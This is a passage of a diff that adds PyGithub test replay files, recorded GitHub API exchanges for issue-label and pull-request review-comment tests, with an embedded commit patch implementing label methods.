)\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206.4","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} + +https +POST +api.github.com +None +/repos/PyGithub/PyGithub/pulls/31/comments +{'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +{"body": "```suggestion\nComment created by PyGithub\n```", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 10, "start_line": 5, "path": "src/github/Issue.py"} +201 +[('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] +{"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"```suggestion\nComment created by PyGithub\n```","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} diff --git a/tests/ReplayData/PullRequest.testCreateMultilineReviewCommentChoosingSide.txt b/tests/ReplayData/PullRequest.testCreateMultilineReviewCommentChoosingSide.txt new file mode 100644 index 0000000000..4e5cc89c93 --- /dev/null +++ b/tests/ReplayData/PullRequest.testCreateMultilineReviewCommentChoosingSide.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project 